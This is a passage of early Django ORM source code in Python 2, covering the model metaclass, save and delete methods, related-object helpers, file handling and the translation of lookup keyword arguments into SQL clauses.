new_mod.__dict__['ChangeManipulator'])\n\n        if hasattr(new_class, 'get_absolute_url'):\n            new_class.get_absolute_url = curry(get_absolute_url, opts, new_class.get_absolute_url)\n\n        # Get a reference to the module the class is in, and dynamically add\n        # the new module to it.\n        app_package = sys.modules.get(new_class.__module__)\n        if replaces_module is not None:\n            app_label = replaces_module[0]\n        else:\n            app_package.__dict__[opts.module_name] = new_mod\n            app_label = app_package.__name__[app_package.__name__.rfind('.')+1:]\n\n            # Populate the _MODELS member on the module the class is in.\n            # Example: django.models.polls will have a _MODELS member that will\n            # contain this list:\n            # [<class 'django.models.polls.Poll'>, <class 'django.models.polls.Choice'>]\n            # Don't do this if replaces_module is set.\n            app_package.__dict__.setdefault('_MODELS', []).append(new_class)\n\n        # Cache the app label.\n        opts.app_label = app_label\n\n        # If the db_table wasn't provided, use the app_label + module_name.\n        if not opts.db_table:\n            opts.db_table = \"%s_%s\" % (app_label, opts.module_name)\n        new_class._meta = opts\n\n        # Set the __file__ attribute to the __file__ attribute of its package,\n        # because they're technically from the same file. Note: if we didn't\n        # set this, sys.modules would think this module was built-in.\n        try:\n            new_mod.__file__ = app_package.__file__\n        except AttributeError:\n            # 'module' object has no attribute '__file__', which means the\n            # class was probably being entered via the interactive interpreter.\n            pass\n\n        # Add the module's entry to sys.modules -- for instance,\n        # \"django.models.polls.polls\". Note that \"django.models.polls\" has already\n        # been added automatically.\n        sys.modules.setdefault('%s.%s.%s' % (MODEL_PREFIX, app_label, opts.module_name), new_mod)\n\n        # If this module replaces another one, get a reference to the other\n        # module's parent, and replace the other module with the one we've just\n        # created.\n        if replaces_module is not None:\n            old_app = get_app(replaces_module[0])\n            setattr(old_app, replaces_module[1], new_mod)\n            for i, model in enumerate(old_app._MODELS):\n                if model._meta.module_name == replaces_module[1]:\n                    # Replace the appropriate member of the old app's _MODELS\n                    # data structure.\n                    old_app._MODELS[i] = new_class\n                    # Replace all relationships to the old class with\n                    # relationships to the new one.\n                    for rel_opts, rel_field in model._meta.get_all_related_objects():\n                        rel_field.rel.to = opts\n                    for rel_opts, rel_field in model._meta.get_all_related_many_to_many_objects():\n                        rel_field.rel.to = opts\n                    break\n\n        return new_class\n\nclass Model:\n    __metaclass__ = ModelBase\n\n    def __repr__(self):\n        return '<%s object>' % self.__class__.__name__\n\n############################################\n# HELPER FUNCTIONS (CURRIED MODEL METHODS) #\n############################################\n\n# CORE METHODS #############################\n\ndef method_init(opts, self, *args, **kwargs):\n    if kwargs:\n        for f in opts.fields:\n            if isinstance(f.rel, ManyToOne):\n                try:\n                    # Assume object instance was passed in.\n                    rel_obj = kwargs.pop(f.name)\n                except KeyError:\n                    try:\n                        # Object instance wasn't passed in -- must be an ID.\n                        val = kwargs.pop(f.attname)\n                    except KeyError:\n                        val = f.get_default()\n                else:\n                    # Special case: You can pass in \"None\" for related objects if it's allowed.\n                    if rel_obj is None and f.null:\n                        val = None\n                    else:\n                        try:\n                            val = getattr(rel_obj, f.rel.field_name)\n                        except AttributeError:\n                            raise TypeError, \"Invalid value: %r should be a %s instance, not a %s\" % (f.name, f.rel.to, type(rel_obj))\n                setattr(self, f.attname, val)\n            else:\n                val = kwargs.pop(f.attname, f.get_default())\n                setattr(self, f.attname, val)\n        if kwargs:\n            raise TypeError, \"'%s' is an invalid keyword argument for this function\" % kwargs.keys()[0]\n    for i, arg in enumerate(args):\n        setattr(self, opts.fields[i].attname, arg)\n\ndef method_eq(opts, self, other):\n    return isinstance(other, self.__class__) and getattr(self, opts.pk.attname) == getattr(other, opts.pk.attname)\n\ndef method_save(opts, self):\n    # Run any pre-save hooks.\n    if hasattr(self, '_pre_save'):\n        self._pre_save()\n    non_pks = [f for f in opts.fields if not f.primary_key]\n    cursor = db.db.cursor()\n\n    # First, try an UPDATE. If that doesn't update anything, do an INSERT.\n    pk_val = getattr(self, opts.pk.attname)\n    pk_set = bool(pk_val)\n    record_exists = True\n    if pk_set:\n        # Determine whether a record with the primary key already exists.\n        cursor.execute(\"SELECT 1 FROM %s WHERE %s=%%s LIMIT 1\" % \\\n            (db.db.quote_name(opts.db_table), db.db.quote_name(opts.pk.column)), [pk_val])\n        # If it does already exist, do an UPDATE.\n        if cursor.fetchone():\n            db_values = [f.get_db_prep_save(f.pre_save(getattr(self, f.attname), False)) for f in non_pks]\n            cursor.execute(\"UPDATE %s SET %s WHERE %s=%%s\" % \\\n                (db.db.quote_name(opts.db_table),\n                ','.join(['%s=%%s' % db.db.quote_name(f.column) for f in non_pks]),\n                db.db.quote_name(opts.pk.attname)),\n                db_values + [pk_val])\n        else:\n            record_exists = False\n    if not pk_set or not record_exists:\n        field_names = [db.db.quote_name(f.column) for f in opts.fields if not isinstance(f, AutoField)]\n        placeholders = ['%s'] * len(field_names)\n        db_values = [f.get_db_prep_save(f.pre_save(getattr(self, f.attname), True)) for f in opts.fields if not isinstance(f, AutoField)]\n        if opts.order_with_respect_to:\n            field_names.append(db.db.quote_name('_order'))\n            # TODO: This assumes the database supports subqueries.\n            placeholders.append('(SELECT COUNT(*) FROM %s WHERE %s = %%s)' % \\\n                (db.db.quote_name(opts.db_table), db.db.quote_name(opts.order_with_respect_to.column)))\n            db_values.append(getattr(self, opts.order_with_respect_to.attname))\n        cursor.execute(\"INSERT INTO %s (%s) VALUES (%s)\" % \\\n            (db.db.quote_name(opts.db_table), ','.join(field_names),\n            ','.join(placeholders)), db_values)\n        if opts.has_auto_field:\n            setattr(self, opts.pk.attname, db.get_last_insert_id(cursor, opts.db_table, opts.pk.column))\n    db.db.commit()\n    # Run any post-save hooks.\n    if hasattr(self, '_post_save'):\n        self._post_save()\n\ndef method_delete(opts, self):\n    assert getattr(self, opts.pk.attname) is not None, \"%r can't be deleted because it doesn't have an ID.\"\n    # Run any pre-delete hooks.\n    if hasattr(self, '_pre_delete'):\n        self._pre_delete()\n    cursor = db.db.cursor()\n    for rel_opts, rel_field in opts.get_all_related_objects():\n        rel_opts_name = opts.get_rel_object_method_name(rel_opts, rel_field)\n        if isinstance(rel_field.rel, OneToOne):\n            try:\n                sub_obj = getattr(self, 'get_%s' % rel_opts_name)()\n            except ObjectDoesNotExist:\n                pass\n            else:\n                sub_obj.delete()\n        else:\n            for sub_obj in getattr(self, 'get_%s_list' % rel_opts_name)():\n                sub_obj.delete()\n    for rel_opts, rel_field in opts.get_all_related_many_to_many_objects():\n        cursor.execute(\"DELETE FROM %s WHERE %s=%%s\" % \\\n            (db.db.quote_name(rel_field.get_m2m_db_table(rel_opts)),\n            db.db.quote_name(self._meta.object_name.lower() + '_id')), [getattr(self, opts.pk.attname)])\n    for f in opts.many_to_many:\n        cursor.execute(\"DELETE FROM %s WHERE %s=%%s\" % \\\n            (db.db.quote_name(f.get_m2m_db_table(opts)),\n            db.db.quote_name(self._meta.object_name.lower() + '_id')),\n            [getattr(self, opts.pk.attname)])\n    cursor.execute(\"DELETE FROM %s WHERE %s=%%s\" % \\\n        (db.db.quote_name(opts.db_table), db.db.quote_name(opts.pk.column)),\n        [getattr(self, opts.pk.attname)])\n    db.db.commit()\n    setattr(self, opts.pk.attname, None)\n    for f in opts.fields:\n        if isinstance(f, FileField) and getattr(self, f.attname):\n            file_name = getattr(self, 'get_%s_filename' % f.name)()\n            # If the file exists and no other object of this type references it,\n            # delete it from the filesystem.\n            if os.path.exists(file_name) and not opts.get_model_module().get_list(**{'%s__exact' % f.name: getattr(self, f.name)}):\n                os.remove(file_name)\n    # Run any post-delete hooks.\n    if hasattr(self, '_post_delete'):\n        self._post_delete()\n\ndef method_get_next_in_order(opts, order_field, self):\n    if not hasattr(self, '_next_in_order_cache'):\n        self._next_in_order_cache = opts.get_model_module().get_object(order_by=('_order',),\n            where=['%s > (SELECT %s FROM %s WHERE %s=%%s)' % \\\n                (db.db.quote_name('_order'), db.db.quote_name('_order'),\n                db.db.quote_name(opts.db_table), db.db.quote_name(opts.pk.column)),\n                '%s=%%s' % db.db.quote_name(order_field.column)], limit=1,\n            params=[getattr(self, opts.pk.attname), getattr(self, order_field.attname)])\n    return self._next_in_order_cache\n\ndef method_get_previous_in_order(opts, order_field, self):\n    if not hasattr(self, '_previous_in_order_cache'):\n        self._previous_in_order_cache = opts.get_model_module().get_object(order_by=('-_order',),\n            where=['%s < (SELECT %s FROM %s WHERE %s=%%s)' % \\\n                (db.db.quote_name('_order'), db.db.quote_name('_order'),\n                db.db.quote_name(opts.db_table), db.db.quote_name(opts.pk.column)),\n                '%s=%%s' % db.db.quote_name(order_field.column)], limit=1,\n            params=[getattr(self, opts.pk.attname), getattr(self, order_field.attname)])\n    return self._previous_in_order_cache\n\n# RELATIONSHIP METHODS #####################\n\n# Example: Story.get_dateline()\ndef method_get_many_to_one(field_with_rel, self):\n    cache_var = field_with_rel.get_cache_name()\n    if not hasattr(self, cache_var):\n        val = getattr(self, field_with_rel.attname)\n        mod = field_with_rel.rel.to.get_model_module()\n        if val is None:\n            raise getattr(mod, '%sDoesNotExist' % field_with_rel.rel.to.object_name)\n        retrieved_obj = mod.get_object(**{'%s__exact' % field_with_rel.rel.field_name: val})\n        setattr(self, cache_var, retrieved_obj)\n    return getattr(self, cache_var)\n\n# Handles getting many-to-many related objects.\n# Example: Poll.get_site_list()\ndef method_get_many_to_many(field_with_rel, self):\n    rel = field_with_rel.rel.to\n    cache_var = '_%s_cache' % field_with_rel.name\n    if not hasattr(self, cache_var):\n        mod = rel.get_model_module()\n        sql = \"SELECT %s FROM %s a, %s b WHERE a.%s = b.%s AND b.%s = %%s %s\" % \\\n            (','.join(['a.%s' % db.db.quote_name(f.column) for f in rel.fields]),\n            db.db.quote_name(rel.db_table),\n            db.db.quote_name(field_with_rel.get_m2m_db_table(self._meta)),\n            db.db.quote_name(rel.pk.column),\n            db.db.quote_name(rel.object_name.lower() + '_id'),\n            db.db.quote_name(self._meta.object_name.lower() + '_id'), rel.get_order_sql('a'))\n        cursor = db.db.cursor()\n        cursor.execute(sql, [getattr(self, self._meta.pk.attname)])\n        setattr(self, cache_var, [getattr(mod, rel.object_name)(*row) for row in cursor.fetchall()])\n    return getattr(self, cache_var)\n\n# Handles setting many-to-many relationships.\n# Example: Poll.set_sites()\ndef method_set_many_to_many(rel_field, self, id_list):\n    current_ids = [obj.id for obj in method_get_many_to_many(rel_field, self)]\n    ids_to_add, ids_to_delete = dict([(i, 1) for i in id_list]), []\n    for current_id in current_ids:\n        if current_id in id_list:\n            del ids_to_add[current_id]\n        else:\n            ids_to_delete.append(current_id)\n    ids_to_add = ids_to_add.keys()\n    # Now ids_to_add is a list of IDs to add, and ids_to_delete is a list of IDs to delete.\n    if not ids_to_delete and not ids_to_add:\n        return False # No change\n    rel = rel_field.rel.to\n    m2m_table = rel_field.get_m2m_db_table(self._meta)\n    cursor = db.db.cursor()\n    this_id = getattr(self, self._meta.pk.attname)\n    if ids_to_delete:\n        sql = \"DELETE FROM %s WHERE %s = %%s AND %s IN (%s)\" % \\\n            (db.db.quote_name(m2m_table),\n            db.db.quote_name(self._meta.object_name.lower() + '_id'),\n            db.db.quote_name(rel.object_name.lower() + '_id'), ','.join(map(str, ids_to_delete)))\n        cursor.execute(sql, [this_id])\n    if ids_to_add:\n        sql = \"INSERT INTO %s (%s, %s) VALUES (%%s, %%s)\" % \\\n            (db.db.quote_name(m2m_table),\n            db.db.quote_name(self._meta.object_name.lower() + '_id'),\n            db.db.quote_name(rel.object_name.lower() + '_id'))\n        cursor.executemany(sql, [(this_id, i) for i in ids_to_add])\n    db.db.commit()\n    try:\n        delattr(self, '_%s_cache' % rel_field.name) # clear cache, if it exists\n    except AttributeError:\n        pass\n    return True\n\n# Handles related-object retrieval.\n# Examples: Poll.get_choice(), Poll.get_choice_list(), Poll.get_choice_count()\ndef method_get_related(method_name, rel_mod, rel_field, self, **kwargs):\n    if self._meta.has_related_links and rel_mod.Klass._meta.module_name == 'relatedlinks':\n        kwargs['object_id__exact'] = getattr(self, rel_field.rel.field_name)\n    else:\n        kwargs['%s__%s__exact' % (rel_field.name, rel_field.rel.to.pk.name)] = getattr(self, rel_field.rel.field_name)\n    kwargs.update(rel_field.rel.lookup_overrides)\n    return getattr(rel_mod, method_name)(**kwargs)\n\n# Handles adding related objects.\n# Example: Poll.add_choice()\ndef method_add_related(rel_obj, rel_mod, rel_field, self, *args, **kwargs):\n    init_kwargs = dict(zip([f.attname for f in rel_obj.fields if f != rel_field and not isinstance(f, AutoField)], args))\n    init_kwargs.update(kwargs)\n    for f in rel_obj.fields:\n        if isinstance(f, AutoField):\n            init_kwargs[f.attname] = None\n    init_kwargs[rel_field.name] = self\n    obj = rel_mod.Klass(**init_kwargs)\n    obj.save()\n    return obj\n\n# Handles related many-to-many object retrieval.\n# Examples: Album.get_song(), Album.get_song_list(), Album.get_song_count()\ndef method_get_related_many_to_many(method_name, opts, rel_mod, rel_field, self, **kwargs):\n    kwargs['%s__%s__exact' % (rel_field.name, opts.pk.name)] = getattr(self, opts.pk.attname)\n    return getattr(rel_mod, method_name)(**kwargs)\n\n# Handles setting many-to-many related objects.\n# Example: Album.set_songs()\ndef method_set_related_many_to_many(rel_opts, rel_field, self, id_list):\n    id_list = map(int, id_list) # normalize to integers\n    rel = rel_field.rel.to\n    m2m_table = rel_field.get_m2m_db_table(rel_opts)\n    this_id = getattr(self, self._meta.pk.attname)\n    cursor = db.db.cursor()\n    cursor.execute(\"DELETE FROM %s WHERE %s = %%s\" % \\\n        (db.db.quote_name(m2m_table),\n        db.db.quote_name(rel.object_name.lower() + '_id')), [this_id])\n    sql = \"INSERT INTO %s (%s, %s) VALUES (%%s, %%s)\" % \\\n        (db.db.quote_name(m2m_table),\n        db.db.quote_name(rel.object_name.lower() + '_id'),\n        db.db.quote_name(rel_opts.object_name.lower() + '_id'))\n    cursor.executemany(sql, [(this_id, i) for i in id_list])\n    db.db.commit()\n\n# ORDERING METHODS #########################\n\ndef method_set_order(ordered_obj, self, id_list):\n    cursor = db.db.cursor()\n    # Example: \"UPDATE poll_choices SET _order = %s WHERE poll_id = %s AND id = %s\"\n    sql = \"UPDATE %s SET %s = %%s WHERE %s = %%s AND %s = %%s\" % \\\n        (db.db.quote_name(ordered_obj.db_table), db.db.quote_name('_order'),\n        db.db.quote_name(ordered_obj.order_with_respect_to.column),\n        db.db.quote_name(ordered_obj.pk.column))\n    rel_val = getattr(self, ordered_obj.order_with_respect_to.rel.field_name)\n    cursor.executemany(sql, [(i, rel_val, j) for i, j in enumerate(id_list)])\n    db.db.commit()\n\ndef method_get_order(ordered_obj, self):\n    cursor = db.db.cursor()\n    # Example: \"SELECT id FROM poll_choices WHERE poll_id = %s ORDER BY _order\"\n    sql = \"SELECT %s FROM %s WHERE %s = %%s ORDER BY %s\" % \\\n        (db.db.quote_name(ordered_obj.pk.column),\n        db.db.quote_name(ordered_obj.db_table),\n        db.db.quote_name(ordered_obj.order_with_respect_to.column),\n        db.db.quote_name('_order'))\n    rel_val = getattr(self, ordered_obj.order_with_respect_to.rel.field_name)\n    cursor.execute(sql, [rel_val])\n    return [r[0] for r in cursor.fetchall()]\n\n# DATE-RELATED METHODS #####################\n\ndef method_get_next_or_previous(get_object_func, opts, field, is_next, self, **kwargs):\n    op = is_next and '>' or '<'\n    kwargs.setdefault('where', []).append('(%s %s %%s OR (%s = %%s AND %s %s %%s))' % \\\n        (db.db.quote_name(field.column), op, db.db.quote_name(field.column),\n        db.db.quote_name(opts.pk.column), op))\n    param = str(getattr(self, field.attname))\n    kwargs.setdefault('params', []).extend([param, param, getattr(self, opts.pk.attname)])\n    kwargs['order_by'] = [(not is_next and '-' or '') + field.name, (not is_next and '-' or '') + opts.pk.name]\n    kwargs['limit'] = 1\n    return get_object_func(**kwargs)\n\n# CHOICE-RELATED METHODS ###################\n\ndef method_get_display_value(field, self):\n    value = getattr(self, field.attname)\n    return dict(field.choices).get(value, value)\n\n# FILE-RELATED METHODS #####################\n\ndef method_get_file_filename(field, self):\n    return os.path.join(settings.MEDIA_ROOT, getattr(self, field.attname))\n\ndef method_get_file_url(field, self):\n    if getattr(self, field.attname): # value is not blank\n        import urlparse\n        return urlparse.urljoin(settings.MEDIA_URL, getattr(self, field.attname)).replace('\\\\', '/')\n    return ''\n\ndef method_get_file_size(field, self):\n    return os.path.getsize(method_get_file_filename(field, self))\n\ndef method_save_file(field, self, filename, raw_contents):\n    directory = field.get_directory_name()\n    try: # Create the date-based directory if it doesn't exist.\n        os.makedirs(os.path.join(settings.MEDIA_ROOT, directory))\n    except OSError: # Directory probably already exists.\n        pass\n    filename = field.get_filename(filename)\n\n    # If the filename already exists, keep adding an underscore to the name of\n    # the file until the filename doesn't exist.\n    while os.path.exists(os.path.join(settings.MEDIA_ROOT, filename)):\n        try:\n            dot_index = filename.rindex('.')\n        except ValueError: # filename has no dot\n            filename += '_'\n        else:\n            filename = filename[:dot_index] + '_' + filename[dot_index:]\n\n    # Write the file to disk.\n    setattr(self, field.attname, filename)\n    fp = open(getattr(self, 'get_%s_filename' % field.name)(), 'wb')\n    fp.write(raw_contents)\n    fp.close()\n\n    # Save the width and/or height, if applicable.\n    if isinstance(field, ImageField) and (field.width_field or field.height_field):\n        from django.utils.images import get_image_dimensions\n        width, height = get_image_dimensions(getattr(self, 'get_%s_filename' % field.name)())\n        if field.width_field:\n            setattr(self, field.width_field, width)\n        if field.height_field:\n            setattr(self, field.height_field, height)\n\n    # Save the object, because it has changed.\n    self.save()\n\n# IMAGE FIELD METHODS ######################\n\ndef method_get_image_width(field, self):\n    return _get_image_dimensions(field, self)[0]\n\ndef method_get_image_height(field, self):\n    return _get_image_dimensions(field, self)[1]\n\ndef _get_image_dimensions(field, self):\n    cachename = \"__%s_dimensions_cache\" % field.name\n    if not hasattr(self, cachename):\n        from django.utils.images import get_image_dimensions\n        fname = getattr(self, \"get_%s_filename\" % field.name)()\n        setattr(self, cachename, get_image_dimensions(fname))\n    return getattr(self, cachename)\n\n##############################################\n# HELPER FUNCTIONS (CURRIED MODEL FUNCTIONS) #\n##############################################\n\ndef get_absolute_url(opts, func, self):\n    return settings.ABSOLUTE_URL_OVERRIDES.get('%s.%s' % (opts.app_label, opts.module_name), func)(self)\n\ndef _get_where_clause(lookup_type, table_prefix, field_name, value):\n    if table_prefix.endswith('.'):\n        table_prefix = db.db.quote_name(table_prefix[:-1])+'.'\n    field_name = db.db.quote_name(field_name)\n    try:\n        return '%s%s %s %%s' % (table_prefix, field_name, db.OPERATOR_MAPPING[lookup_type])\n    except KeyError:\n        pass\n    if lookup_type == 'in':\n        return '%s%s IN (%s)' % (table_prefix, field_name, ','.join(['%s' for v in value]))\n    elif lookup_type == 'range':\n        return '%s%s BETWEEN %%s AND %%s' % (table_prefix, field_name)\n    elif lookup_type in ('year', 'month', 'day'):\n        return \"%s = %%s\" % db.get_date_extract_sql(lookup_type, table_prefix + field_name)\n    elif lookup_type == 'isnull':\n        return \"%s%s IS %sNULL\" % (table_prefix, field_name, (not value and 'NOT ' or ''))\n    raise TypeError, \"Got invalid lookup_type: %s\" % repr(lookup_type)\n\ndef function_get_object(opts, klass, does_not_exist_exception, **kwargs):\n    obj_list = function_get_list(opts, klass, **kwargs)\n    if len(obj_list) < 1:\n        raise does_not_exist_exception, \"%s does not exist for %s\" % (opts.object_name, kwargs)\n    assert len(obj_list) == 1, \"get_object() returned more than one %s -- it returned %s! Lookup parameters were %s\" % (opts.object_name, len(obj_list), kwargs)\n    return obj_list[0]\n\ndef _get_cached_row(opts, row, index_start):\n    \"Helper function that recursively returns an object with cache filled\"\n    index_end = index_start + len(opts.fields)\n    obj = opts.get_model_module().Klass(*row[index_start:index_end])\n    for f in opts.fields:\n        if f.rel and not f.null:\n            rel_obj, index_end = _get_cached_row(f.rel.to, row, index_end)\n            setattr(obj, f.get_cache_name(), rel_obj)\n    return obj, index_end\n\ndef function_get_iterator(opts, klass, **kwargs):\n    # kwargs['select'] is a dictionary, and dictionaries' key order is\n    # undefined, so we convert it to a list of tuples internally.\n    kwargs['select'] = kwargs.get('select', {}).items()\n\n    cursor = db.db.cursor()\n    select, sql, params = function_get_sql_clause(opts, **kwargs)\n    cursor.execute(\"SELECT \" + (kwargs.get('distinct') and \"DISTINCT \" or \"\") + \",\".join(select) + sql, params)\n    fill_cache = kwargs.get('select_related')\n    index_end = len(opts.fields)\n    while 1:\n        rows = cursor.fetchmany(GET_ITERATOR_CHUNK_SIZE)\n        if not rows:\n            raise StopIteration\n        for row in rows:\n            if fill_cache:\n                obj, index_end = _get_cached_row(opts, row, 0)\n            else:\n                obj = klass(*row[:index_end])\n            for i, k in enumerate(kwargs['select']):\n                setattr(obj, k[0], row[index_end+i])\n            yield obj\n\ndef function_get_list(opts, klass, **kwargs):\n    return list(function_get_iterator(opts, klass, **kwargs))\n\ndef function_get_count(opts, **kwargs):\n    kwargs['order_by'] = []\n    kwargs['offset'] = None\n    kwargs['limit'] = None\n    kwargs['select_related'] = False\n    _, sql, params = function_get_sql_clause(opts, **kwargs)\n    cursor = db.db.cursor()\n    cursor.execute(\"SELECT COUNT(*)\" + sql, params)\n    return cursor.fetchone()[0]\n\ndef function_get_values_iterator(opts, klass, **kwargs):\n    # select_related and select aren't supported in get_values().\n    kwargs['select_related'] = False\n    kwargs['select'] = {}\n\n    # 'fields' is a list of field names to fetch.\n    try:\n        fields = [opts.get_field(f).column for f in kwargs.pop('fields')]\n    except KeyError: # Default to all fields.\n        fields = [f.column for f in opts.fields]\n\n    cursor = db.db.cursor()\n    _, sql, params = function_get_sql_clause(opts, **kwargs)\n    select = ['%s.%s' % (db.db.quote_name(opts.db_table), db.db.quote_name(f)) for f in fields]\n    cursor.execute(\"SELECT \" + (kwargs.get('distinct') and \"DISTINCT \" or \"\") + \",\".join(select) + sql, params)\n    while 1:\n        rows = cursor.fetchmany(GET_ITERATOR_CHUNK_SIZE)\n        if not rows:\n            raise StopIteration\n        for row in rows:\n            yield dict(zip(fields, row))\n\ndef function_get_values(opts, klass, **kwargs):\n    return list(function_get_values_iterator(opts, klass, **kwargs))\n\ndef _fill_table_cache(opts, select, tables, where, old_prefix, cache_tables_seen):\n    \"\"\"\n    Helper function that recursively populates the select, tables and where (in\n    place) for fill-cache queries.\n    \"\"\"\n    for f in opts.fields:\n        if f.rel and not f.null:\n            db_table = f.rel.to.db_table\n            if db_table not in cache_tables_seen:\n                tables.append(db.db.quote_name(db_table))\n            else: # The table was already seen, so give it a table alias.\n                new_prefix = '%s%s' % (db_table, len(cache_tables_seen))\n                tables.append('%s %s' % (db.db.quote_name(db_table), db.db.quote_name(new_prefix)))\n                db_table = new_prefix\n            cache_tables_seen.append(db_table)\n            where.append('%s.%s = %s.%s' % \\\n                (db.db.quote_name(old_prefix), db.db.quote_name(f.column),\n                db.db.quote_name(db_table), db.db.quote_name(f.rel.get_related_field().column)))\n            select.extend(['%s.%s' % (db.db.quote_name(db_table), db.db.quote_name(f2.column)) for f2 in f.rel.to.fields])\n            _fill_table_cache(f.rel.to, select, tables, where, db_table, cache_tables_seen)\n\ndef _throw_bad_kwarg_error(kwarg):\n    # Helper function to remove redundancy.\n    raise TypeError, \"got unexpected keyword argument '%s'\" % kwarg\n\ndef _parse_lookup(kwarg_items, opts, table_count=0):\n    # Helper function that handles converting API kwargs (e.g.\n    # \"name__exact\": \"tom\") to SQL.\n\n    # Note that there is a distinction between where and join_where. The latter\n    # is specifically a list of where clauses to use for JOINs. This\n    # distinction is necessary because of support for \"_or\".\n\n    # table_count is used to ensure table aliases are unique.\n    tables, join_where, where, params = [], [], [], []\n    for kwarg, kwarg_value in kwarg_items:\n        if kwarg in ('order_by', 'limit', 'offset', 'select_related', 'distinct', 'select', 'tables', 'where', 'params'):\n            continue\n        if kwarg_value is None:\n            continue\n        if kwarg == '_or':\n            for val in kwarg_value:\n                tables2, join_where2, where2, params2, table_count = _parse_lookup(val, opts, table_count)\n                tables.extend(tables2)\n                join_where.extend(join_where2)\n                where.append('(%s)' % ' OR '.join(where2))\n                params.extend(params2)\n            continue\n        lookup_list = kwarg.split(LOOKUP_SEPARATOR)\n        # pk=\"value\" is shorthand for (primary key)__exact=\"value\"\n        if lookup_list[-1] == 'pk':\n            if opts.pk.rel:\n                lookup_list = lookup_list[:-1] + [opts.pk.name, opts.pk.rel.field_name, 'exact']\n            else:\n                lookup_list = lookup_list[:-1] + [opts.pk.name, 'exact']\n        if len(lookup_list) == 1:\n            _throw_bad_kwarg_error(kwarg)\n        lookup_type = lookup_list.pop()\n        current_opts = opts # We'll be overwriting this, so keep a reference to the original opts.\n        current_table_alias = current_opts.db_table\n        param_required = False\n        while lookup_list or param_required:\n            table_count += 1\n            try:\n                # \"current\" is a piece of the lookup list. For example, in\n                # choices.get_list(poll__sites__id__exact=5), lookup_list is\n                # [\"polls\", \"sites\", \"id\"], and the first current is \"polls\".\n                try:\n                    current = lookup_list.pop(0)\n                except IndexError:\n                    # If we're here, lookup_list is empty but param_required\n                    # is set to True, which means the kwarg was bad.\n                    # Example: choices.get_list(poll__exact='foo')\n                    _throw_bad_kwarg_error(kwarg)\n                # Try many-to-many relationships first...\n                for f in current_opts.many_to_many:\n                    if f.name == current:\n                        rel_table_alias = db.db.quote_name('t%s' % table_count)\n                        table_count += 1\n                        tables.append('%s %s' % \\\n                            (db.db.quote_name(f.get_m2m_db_table(current_opts)), rel_table_alias))\n                        join_where.append('%s.%s = %s.%s' % \\\n                            (db.db.quote_name(current_table_alias),\n                            db.db.quote_name(current_opts.pk.column),\n                            rel_table_alias,\n                            db.db.quote_name(current_opts.object_name.lower() + '_id')))\n                        # Optimization: In the case of primary-key lookups, we\n                        # don't have to do an extra join.\n                        if lookup_list and lookup_list[0] == f.rel.to.pk.name and lookup_type == 'exact':\n                            where.append(_get_where_clause(lookup_type, rel_table_alias+'.',\n                                f.rel.to.object_name.lower()+'_id', kwarg_value))\n                            params.extend(f.get_db_prep_lookup(lookup_type, kwarg_value))\n                            lookup_list.pop()\n                            param_required = False\n                        else:\n                            new_table_alias = 't%s' % table_count\n                            tables.append('%s %s' % (db.db.quote_name(f.rel.to.db_table),\n                                db.db.quote_name(new_table_alias)))\n                            join_where.append('%s.%s = %s.%s' % \\\n                                (db.db.quote_name(rel_table_alias),\n                                db.db.quote_name(f.rel.to.object_name.lower() + '_id'),\n                                db.db.quote_name(new_table_alias),\n                                db.db.quote_name(f.rel.to.pk.column)))\n                            current_table_alias = new_table_alias\n                            param_required = True\n                        current_opts = f.rel.to\n                        raise StopIteration\n                for f in current_opts.fields:\n                    # Try many-to-one relationships...\n                    if f.rel and f.name == current:\n                        # Optimization: In the case of primary-key lookups, we\n                        # don't have to do an extra join.\n                        if lookup_list and lookup_list[0] == f.rel.to.pk.name and lookup_type == 'exact':\n                            where.append(_get_where_clause(lookup_type, current_table_alias+'.', f.column, kwarg_value))\n                            params.extend(f.get_db_prep_lookup(lookup_type, kwarg_value))\n                            lookup_list.pop()\n                            param_required = False\n                        # 'isnull' lookups in many-to-one relationships are a special case,\n                        # because we don't want to do a join. We just want to find out\n                        # whether the foreign key field is NULL.\n                        elif lookup_type == 'isnull' and not lookup_list:\n                            where.append(_get_where_clause(lookup_type, current_table_alias+'.', f.column, kwarg_value))\n                            params.extend(f.get_db_prep_lookup(lookup_type, kwarg_value))\n                        else:\n                            new_table_alias = 't%s' % table_count\n                            tables.append('%s %s' % \\\n                                (db.db.quote_name(f.rel.to.db_table), db.db.quote_name(new_table_alias)))\n                            join_where.append('%s.%s = %s.%s' % \\\n                                (db.db.quote_name(current_table_alias), db.db.quote_name(f.column),\n                                db.db.quote_name(new_table_alias), db.db.quote_name(f.rel.to.pk.column)))\n                            current_table_alias = new_table_alias\n                            param_required = True\n                        current_opts = f.rel.to\n                        raise StopIteration\n                    # Try direct field-name lookups...\n                    if f.name == current:\n                        where.append(_get_where_clause(lookup_type, current_table_alias+'.', f.column, kwarg_value))\n                        params.extend(f.get_db_prep_lookup(lookup_type, kwarg_value))\n                        param_required = False\n                        raise StopIteration\n                # If we haven't hit StopIteration at this point, \"current\" must be\n                # an invalid lookup, so raise an exception.\n                _throw_bad_kwarg_error(kwarg)\n            except StopIteration:\n                continue\n    return tables, join_where, where, params, table_count\n\ndef function_get_sql_clause(opts, **kwargs):\n    select = [\"%s.%s\" % (db.db.quote_name(opts.db_table), db.db.quote_name(f.column)) for f in opts.fields]\n    tables = [opts.db_table] + (kwargs.get('tables') and kwargs['tables'][:] or [])\n    tables = [db.db.quote_name(t) for t in tables]\n    where = kwargs.get('where') and kwargs['where'][:] or []\n    params = kwargs.get('params') and kwargs['params'][:] or []\n\n    # Convert the kwargs into SQL.\n    tables2, join_where2, where2, params2, _ = _parse_lookup(kwargs.items(), opts)\n    tables.extend(tables2)\n    where.extend(join_where2 + where2)\n    params.extend(params2)\n\n    # Add any additional constraints from the \"where_constraints\" parameter.\n    where.extend(opts.where_constraints)\n\n    # Add additional tables and WHERE clauses based on select_related.\n    if kwargs.get('select_related') is True:\n        _fill_table_cache(opts, select, tables, where, opts.db_table, [opts.db_table])\n\n    # Add any additional SELECTs passed in via kwargs.\n    if kwargs.get('select'):\n        select.extend(['(%s) AS %s' % (db.db.quote_name(s[1]), db.db.quote_name(s[0])) for s in kwargs['select']])\n\n    # ORDER BY clause\n    order_by = []\n    for f in handle_legacy_orderlist(kwargs.get('order_by', opts.ordering)):\n        if f == '?': # Special case.\n            order_by.append(db.get_random_function_sql())\n        else:\n            if f.startswith('-'):\n                col_name = f[1:]\n                order = \"DESC\"\n            else:\n                col_name = f\n                order = \"ASC\"\n            if \".\" in col_name:\n                table_prefix, col_name = col_name.split('.', 1)\n                table_prefix = db.db.quote_name(table_prefix) + '.'\n            else:\n                # Use the database table as a column prefix if it wasn't given,\n                # and if the requested column isn't a custom SELECT.\n                